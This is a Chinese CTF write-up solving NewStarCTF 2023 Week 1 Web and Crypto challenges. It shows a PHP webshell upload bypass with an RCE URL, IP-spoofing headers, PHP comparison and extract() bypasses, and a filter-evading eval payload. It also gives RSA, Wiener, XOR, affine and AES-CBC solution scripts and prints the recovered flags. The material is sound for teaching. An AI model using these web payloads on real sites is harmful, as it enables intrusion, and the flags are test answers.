【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~

文章目录

  • 2023NewStarCTF
    • Web
      • 泄露的秘密
      • Begin of Upload
      • ErrorFlask
      • Begin of HTTP
        • 考点:对请求头的考察
      • Begin of PHP
      • R!C!E
      • Login
    • Crypto
      • babyrsa:
        • 考点:多素数rsa
      • Vigenere
      • small_d
        • 考点:低解密指数攻击
      • Baby_xor
        • 考点:异或
      • Affine
        • 考点:仿射密码
      • BabyEncoding
      • babyaes
        • 考点:异或 aes中cbc模式

2023NewStarCTF

Web

泄露的秘密

www.zip

Begin of Upload

打开源码 找到限制是在前端

我们抓包 上传正常后缀的文件 比如jpg结尾

但是这样传上去服务器是无法解析的

所以我们进行抓包 然后在bp中修改后缀名

将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了

一句话木马:

然后进入到我们上传的这个文件中就可以rce啦

http://13878733-90ba-4e0c-9a0a-4ce861aaa1bf.node4.buuoj.cn:81/upload/aaa_b.php?b=system(%27cat%20/fllll4g%27);

【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~_第1张图片

ErrorFlask

python中flask启的框架

输入非法字符,报错

在报错中找到源代码

Begin of HTTP

考点:对请求头的考察
POST /?ctf=ctfer HTTP/1.1
Host: node4.buuoj.cn:27705
//设置发起请求的浏览器
User-Agent: NewStarCTF2023
//设置只有本地用户才能访问  知识扩展 这些都可以用
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
//设置发起访问请求的网址
Referer: newstarctf.com
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node4.buuoj.cn:27705
Connection: close
Cookie: track_uuid=b0378d4d-bdbe-4b92-d3d9-4e70dceeaff3; power=ctfer
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

secret=n3wst4rCTF2023g00000d

Begin of PHP

源码开套:

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=
"
; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } } if($flag1){ echo "=Level 2=
"
; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=
"
; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=
"
; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=
"
; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }

首先进入第一关:

利用数组特性绕过if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2']))

因为md5不能对数组进行加密,所以设置数据类型均为数组的时候就会全部返回null,使得两值相等

payload:?key1[]=11&key2[]=22

第二关:

同理,数组绕过,返回值均为null 相等

第三关:

strcmp漏洞 如果输入错误数据类型无法比较报错,执行的结果也是返回0

所以使用数组报错

第四关:

is_numeric 字符串绕过2024a 同样使用数组绕过对数字的验证

第五关:

高度重视两个函数:

extract: 给设定的变量赋值

foreach: 遍历键值对中的值

我们传的值只要设置为符号就可以绕过foreach中的匹配,但是当我们成功绕过我们发现,啊咋多了个flag5

这也没有之前的设置啊

然后查询了一些extract函数

【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~_第2张图片

发现其赋值的特性,所以在post中对flag5给个初始值就行,默认为true。

【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~_第3张图片

R!C!E

首先是md5的绕过 这个密码比较特殊 网上一搜就有了 114514

这里一般使用python来爆破(当时偷懒了直接网上搜的

import hashlib
def crack(pre):
    for i in range(0,999999):
        if(hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
            print(i)
            break
crack("c4d038")

然后就可以进行rce了

过滤了好多: if(!preg_match("/flag|system|pass|cat|ls/i",$code))

使用exec代替system

使用tac代替cat

使用通配符* 代替flag

payload:password=114514&e[v.a.l=echo(exec('tac /f*'));

在传参的时候 变量名会将不合法的字符转化为下划线 只会转换一次 其中不合法字符包括[. 所以让第一个转换为下划线 后面的点号就不会被改变

避大坑:一定要加一个echo!!!!一开始忘记让它回显了555 也可以var_dump()

法二:

var_dump(file_get_contents($_POST['_']))$_=

Login

有注册界面 先尝试一下普通用户进去的样子 否则注册界面写出来就没有什么意义了

在交互模式中退出方法ctrl+c 或者 ctrl+d

在bin目录中一般存放的是可执行命令

退出之后我们思考为什么一进来就是在chat程序中 肯定是前面有人输入其他命令了嘛

我们点击向上键 可以看到内容

但是个人感觉没什么大用哈哈

还是得爆破密码

在bp中跑一下 admin的密码是000000

Crypto

babyrsa:

考点:多素数rsa

首先yafu分解得到10个素数

import gmpy2
from Crypto.Util.number import *

e = 65537
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

P = [2217990919
,4278428893
, 2804303069
, 3654864131
, 2923072267
, 2338725373
, 2706073949
, 2970591037
, 2370292207
, 2463878387
, 3939901243
, 2794985117
, 3207148519
, 4093178561
, 3831680819]
phi = 1
for i in range(len(P)):
    phi *= P[i]-1

d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'flag{us4_s1ge_t0_cal_phI}'

Vigenere

还是推荐:https://www.guballa.de/vigenere-solver

然后对于题目中的描述 我搜了一些是法语:不可破译的语言

那么我们在破解的时候选择French

【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~_第4张图片

此外想补充一下可以根据开头密文和部分已知明文flag进行匹配推测密钥

small_d

考点:低解密指数攻击

源码:

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

下面是直接调用的板子:

import gmpy2
from Crypto.Util.number import *

# numerator(n):分子, denominator(d):分母
def t_cf(n, d):  # 将分数 x/y 转为连分数的形式
    res = []
    while d:
        res.append(n // d)
        n, d = d, n % d
    return res


def cf(sub_res):    # 得到渐进分数的分母和分子
    n, d = 1, 0
    for i in sub_res[::-1]:  # 从后面往前循环
        d, n = n, i * n + d
    return d, n


def list_fraction(x, y):     # 列出每个渐进分数
    res = t_cf(x, y)
    res = list(map(cf, (res[0:i] for i in range(1, len(res)))))  # 将连分数的结果逐一截取以求渐进分数
    return res


def get_pq(a, b, c):  # 由p+q和pq的值通过维达定理来求解p和q(解二元一次方程)
    par = gmpy2.isqrt(b * b - 4 * a * c)  # 由上述可得,开根号一定是整数,因为有解
    x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
    return x1, x2


def wienerAttack(e, n):
    print(2)
    for (d, k) in list_fraction(e, n):  # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
        if k == 0:  # 可能会出现连分数的第一个为0的情况,排除
            continue
        if (e * d - 1) % k != 0:  # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
            continue

        phi = (e * d - 1) // k  # 这个结果就是 φ(n)
       
        px, qy = get_pq(1, n - phi + 1, n)

        if px * qy == n:
            p, q = abs(int(px)), abs(int(qy))  # 可能会得到两个负数,负负得正未尝不会出现
            d = gmpy2.invert(e, (p - 1) * (q - 1))  # 求ed=1 (mod  φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
            return d
    print("求解d失败")

print(1)
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
d = wienerAttack(e, n)
print(d)
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
m = pow(c,d,n)
print(long_to_bytes(m))

Wiener攻击学习:

需要学习连分数相关知识 Michael J.Wiener的论文

参考:https://cryptohack.gitbook.io/cryptobook/untitled/low-private-component-attacks/wieners-attack

使用wiener攻击的前提条件

  • d相比于n足够小 满足范围 d < 1 3 n 4 \frac{1}{3}\sqrt[4]{n} 314n
  • q < p < 2q
  • e < phi(n)

【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~_第5张图片

获得d的原理:

ed = 1 mod phi(n)

即有 ed = k phi(n) + 1

又因为phi(n) = (p-1)(q-1) = pq - (p+q) + 1 约等于 pq = n

此外在ed式子中1所占值太小 可以忽略

即有ed = kn => e n = k d \frac{e}{n}=\frac{k}{d} ne=dk

因为e和n已知 利用连分数的展开方法去尝试爆破d的值

那么连分数又是什么 又该如何获得连分数呢?

首先我们对== 43 19 \frac{43}{19} 1943==进行连分数展开

  • 43 19 \frac{43}{19} 1943 = 2 + 5 19 \frac{5}{19} 195

需要把分数部分的分子转化为1

  • 43 19 \frac{43}{19} 1943 = 2 + 1 19 5 \frac{1}{\frac{19}{5}} 5191 = 2 + 1 3 + 4 5 \frac{1}{3+\frac{4}{5}} 3+541 = 2 + 1 3 + 1 5 4 \frac{1}{3+\frac{1}{\frac{5}{4}}} 3+4511 = 2 + 1 3 + 1 1 + 1 4 \frac{1}{3+\frac{1}{1+\frac{1}{4}}} 3+1+4111

如果对 1 4 \frac{1}{4} 41 再进行转化的话余数为0 所以展开到此结束

那么如此繁琐的算法 我们解题的时候肯定不能手算吧 所以一种方法是上面我们自己写代码实现这种算法 基于欧几里得思想 遇到余数为0停止

另一种稍微简单的方法是直接使用sagemath 因为这里面的函数自带解连分数的功能

#sage
e=43
n=19
cf = continued_fraction(e/n)
print(cf)
convergents = cf.convergents()
print(convergents)
#[2; 3, 1, 4]
#[2, 7/3, 9/4, 43/19]

转换为分数的形式 每一次都是抛弃套娃的最后一次计算 比如第二次就是为 2 + 1 3 \frac{1}{3} 31 = 7 3 \frac{7}{3} 37

同理带入到我们要解决的问题中 我们想要获得的k和d 就存在这其中一次的结果中

所以对每组进行尝试即可

简易版exp:

#sage
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
cf = continued_fraction(e/n)
# print(cf)
convergents = cf.convergents()
# print(convergents)
reald = 1
for kd in convergents:
    k = kd.numerator() #获取分子
    d = kd.denominator() #获取分母
    if pow(2,e*d,n) == 2: #判断我们的d能否在这个加密体系中对2加密之后成功还原为2 还原成功则证明解密正确
        reald = d
        print(d)
        break
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
from Crypto.Util.number import *
print(long_to_bytes(int(pow(c,d,n))))
#2357048593
#b'flag{learn_some_continued_fraction_technique#dc16885c}'

Baby_xor

考点:异或

源码:

from secret import *

ciphertext = []

for f in flag:
    ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

真服 一个简单的异或把我难住了 去cryptohack怒刷xor题目

flag = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
flag = bytes.fromhex(flag)
from pwn import xor
#相当于对key进行暴力猜测
for i in range(256):
    if b'f' or b'F' in xor(flag,i):
        print(xor(flag,i))
#flag{x0r_15_symm3try_and_e4zy!!!!!!}

Affine

考点:仿射密码

源码:

from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
    ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

很明显在加密程序中存在两个位置量 key[0] 和 key[1] 作为密钥a和b

其实仿射密码的本质还是解方程得到a和b

关于仿射密码参考:https://blog.csdn.net/jayq1/article/details/130474510?spm=1001.2014.3001.5501

利用部分已知明文flag{*****} 获得a和b的值

注意避坑!!!!

使用f和l这两个已知字符无法合适求解 一定要灵活 整体往后取一位用l和a求解就好了

完整exp:

import gmpy2

#key = '****CENSORED***************'    #密钥 censored 被遮盖
flag = 'flag{*******CENSORED********}'    #部分明文

data = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"   #密文待解密

encrypted = bytes.fromhex(data) 
# encrypted = data
# print(encrypted)
plaindelta = ord(flag[2]) - ord(flag[1])
print(plaindelta)
cipherdalte = encrypted[2] - encrypted[1]
print(cipherdalte)

modulus = 256
a = gmpy2.invert(plaindelta, modulus) * cipherdalte % modulus
b = (encrypted[1] - a * ord(flag[1])) % modulus
print(a,b)
# a = 17
# b = 23
a_inv = gmpy2.invert(a, modulus)
result = ""
for c in encrypted:
    result += chr((c - b) * a_inv % modulus)
print(result)
#flag{4ff1ne_c1pher_i5_very_3azy}

#------------------算法解释--------------------------

# #对密文进行操作
# # range(0,len(cip),2):生成一个从 0 开始、以 2 为步长、不超过 data 长度的整数序列。这个序列中的每一个整数 i,都是 data 中两个字符的起始位置。

# # data[i:i+2]:对于这个序列中的每一个整数 i,取 data 中从 i 开始、长度为 2 的子串。这样就可以把 data 中的所有字符两两分组。

# # int(data[i:i+2],16):对于这个子串,使用 int 函数将其转换为一个 16 进制的整数。

# # for i in range(0,len(data),2):将上述操作应用到 range 函数生成的整数序列中的每一个整数 i,得到一个整数列表。

# # 最终的结果就是 encrypted 列表,它包含了 data 中所有字符两两分组后转换成的 16 进制整数。例如,如果 data 是字符串 "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9",则 encrypted 是一个整数列表,它的值为 [128, 94, 237, 128, 203, 188, 185, 76, 195, 100, 19, 39, 87, 128, 236, 148, 168, 87, 223, 236, 141, 168, 202, 148, 168, 195, 19, 168, 204, 249]。


# #去计算密钥key
# print(encrypted[0])
# plaindelta = (ord(flag[1]) - ord(flag[0]))      #提取部分已知明文
# cipherdalte = (encrypted[1] - encrypted[0])     #提取已知密文
# print(cipherdalte)
# #原来的加密公式
# #y1 = (a * x1 + b) (mod 256)
# #y2 = (a * x2 + b) (mod 256)
# #故有
# #y1 - y2 = a*(x1-x2)(mod 256) 

# #想要求a  
# #即为
# #plaindelta = x1-x2
# #cipherdalta = y1-y2
# #cipherdalte = a * plaindelta(mod 256)    !!取模只是让最后的结果在0~251范围之间!!
# #计算公式中的a,引入初等数论里面的内容
# #ci = a * p % 256
# #ci / p = a % 256
# #在初等数论中 除相当于乘逆元
# #故 ci * invert(p,256)= a (% 256) 
# #所以%251只是一个对于整体结果的一个限制,在公式推到的时候可以忽略存在

# a = gmpy2.invert(plaindelta, 257) * cipherdalte %256    #数据全部放在0~251之间
# #通过a计算b
# b = (encrypted[0] - a * ord(flag[0]))  %256    #数据全部放在0~251之间

# a_inv = gmpy2.invert(a, 257)
# result = ""
# for c in encrypted:
#     result += chr(((c-b) * a_inv) % 256)
# print(result)

BabyEncoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=  flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S

前两部分赛博厨子直接出

最后一个部分采用Unencode编码 去使用bugku的工具https://ctf.bugku.com/tools

babyaes

考点:异或 aes中cbc模式

emm怎么讲嘞 虽然这个题叫做aes 但是真实的考点还是想考查大家的异或能力

附上源码:

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
    flag_ = pad(flag)
    key = os.urandom(16) * 2 #32字节
    iv = os.urandom(16) #16字节
    print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)
    print(enc_flag)


if __name__ == "__main__":
    main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

先带大家分析一下这个题目啊,首先是因为要进行cbc的块加密模式嘛,所以把flag进行pad操作,如果不满足16位就在后面填充\x00

然后获得key和iv:

key : 随机生成加密的16个字节 重复2次 拼接

iv : 随机生成加密的16个字节

然后利用到异或的知识对泄露的内容进行利用:

首先将泄露的数据与1异或 就会得到key和iv的异或值

然后我们在编码体系中看一下bytes_to_longlong_to_bytes 函数的实现方法

都是针对单一字节独自操作的 就是对整体没有影响

然后我们写一个小demo测试一下当两个不等位的数据进行异或的对齐方式:

test1 = 0b1110011
test2 = 0b11
# print(bin(test1 ^ test2)) 
#0b1110000    #结果显示是低位对齐进行异或

所以key和iv进行异或 因为key是iv的两倍 所以对于key的高16位字节没有影响

所以我们就可以直接得到key的组成:

key = long_to_bytes(data)[:16]*2

然后将key ^ (key ^ iv) = iv

完整exp:

import os
from Crypto.Util.number import *
from Crypto.Cipher import AES

data = 3657491768215750635844958060963805125333761387746954618540958489914964573229
data = data ^ 1

key = long_to_bytes(data)[:16]*2
iv = bytes_to_long(key) ^ data
iv = long_to_bytes(iv)

aes = AES.new(key, AES.MODE_CBC, iv)
c = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
dec_flag = aes.decrypt(c)
print(len(key),len(iv))
print("flag=",dec_flag)
#flag= b'firsT_cry_Aes\x00\x00\x00'

我是哈皮,祝您每天嗨皮!我们下期再见~

你可能感兴趣的:(ctf比赛专栏,网络安全,密码学,python,web安全)